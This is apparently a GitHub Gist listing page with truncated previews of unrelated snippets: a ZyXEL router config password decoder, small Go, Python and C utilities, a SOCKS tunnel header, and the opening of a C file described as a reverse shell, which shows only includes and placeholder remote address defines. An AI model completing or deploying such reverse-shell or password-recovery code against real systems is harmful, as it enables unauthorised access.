Skip to content

Instantly share code, notes, and snippets.

anonymous
anonymous / zyxel_scramble.py
Created September 10, 2017 13:05
#!/usr/bin/env python3
#
# zyxel_scramble.py
#
# author: Felis-Sapiens
#
# Decode password from ZyXEL config (NDMS V2)
import sys
from base64 import b64decode, b64encode
@flaviocopes
flaviocopes / check-substring-ends-with.go
Last active November 15, 2021 09:34
Go: check if a string ends with a substring #golang
package main
import (
"strings"
)
func main() {
strings.HasSuffix("foobar", "bar") // true
}
@lukasklein
lukasklein / flacduration.py
Created June 30, 2016 14:03
Returns the duration of a FLAC file in seconds
import struct
def bytes_to_int(bytes: list) -> int:
result = 0
for byte in bytes:
result = (result << 8) + byte
return result
def get_flac_duration(filename: str) -> float:
@Fonger
Fonger / strlcat_strlcpy.c
Created November 22, 2015 17:42
strlcat and strlcpy for linux
#ifndef HAVE_STRLCAT
/*
* '_cups_strlcat()' - Safely concatenate two strings.
*/
size_t /* O - Length of string */
strlcat(char *dst, /* O - Destination string */
const char *src, /* I - Source string */
size_t size) /* I - Size of destination string buffer */
{
@0xabe-io
0xabe-io / reverse_shell.c
Created January 6, 2015 15:24
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
/***********************************************************************
* connect.c -- Make socket connection using SOCKS4/5 and HTTP tunnel.
*
* Copyright (c) 2000-2006 Shun-ichi Goto
* Copyright (c) 2002, J. Grant (English Corrections)
* Copyright (c) 2010, Reini Urban (added realm to http_auth basic)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2